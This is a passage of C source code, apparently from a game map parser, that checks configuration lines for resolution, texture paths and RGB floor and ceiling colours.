tab_cpy = skip_spaces(tab_cpy);
verif = check_nbr(tab_cpy);
tab_cpy = skip_nbr(tab_cpy);
tab_cpy = skip_spaces(tab_cpy);
verif = verif + check_nbr(tab_cpy);
tab_cpy = skip_nbr(tab_cpy);
tab_cpy = skip_spaces(tab_cpy);
if (*tab_cpy == '\0' && verif == 2)
return (1);
}
i++;
}
return (0);
}
int verif_info_color(char **tab, char *str, int nb)
{
int i;
int verif;
char *tab_cpy;
i = 0;
verif = 0;
while (tab[i] != NULL)
{
tab_cpy = tab[i];
tab_cpy = skip_spaces(tab_cpy);
if (ft_strncmp(tab_cpy, str, nb) == 0)
{
tab_cpy++;
tab_cpy = skip_spaces(tab_cpy);
while (*tab_cpy != '\0')
{
verif = verif + check_nbr(tab_cpy);
tab_cpy = skip_nbr(tab_cpy);
tab_cpy = skip_coma(tab_cpy);
if (check_nbr(tab_cpy) != 1 && *tab_cpy != '\0')
return (0);
}
if (*tab_cpy == '\0' && verif == 3)
return (1);
}
i++;
}
return (0);
}
int verif_info_path(char **tab, char *str, int nb)
{
int i;
int verif;
char *tab_cpy;
i = 0;
verif = 0;
while (tab[i] != NULL)
{
tab_cpy = tab[i];
tab_cpy = skip_spaces(tab_cpy);
if (ft_strncmp(tab_cpy, str, nb) == 0)
{
tab_cpy++;
if (ft_strlen(str) == 3)
tab_cpy++;
tab_cpy = skip_spaces(tab_cpy);
while (*tab_cpy != ' ' && *tab_cpy != '\0')
tab_cpy++;
tab_cpy = skip_spaces(tab_cpy);
if (*tab_cpy == '\0')
return (1);
}
i++;
}
return (0);
}
int verif_info(char **tab)
{
if (verif_info_resolution(tab, "R ", 2) == 0)
return (0);
if (verif_info_path(tab, "S ", 2) == 0)
return (0);
if (verif_info_color(tab, "F ", 2) == 0)
return (0);
if (verif_info_color(tab, "C ", 2) == 0)
return (0);
if (verif_info_path(tab, "NO ", 3) == 0)
return (0);
if (verif_info_path(tab, "SO ", 3) == 0)
return (0);
if (verif_info_path(tab, "WE ", 3) == 0)
return (0);
if (verif_info_path(tab, "EA ", 3) == 0)
return (0);
return (1);
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.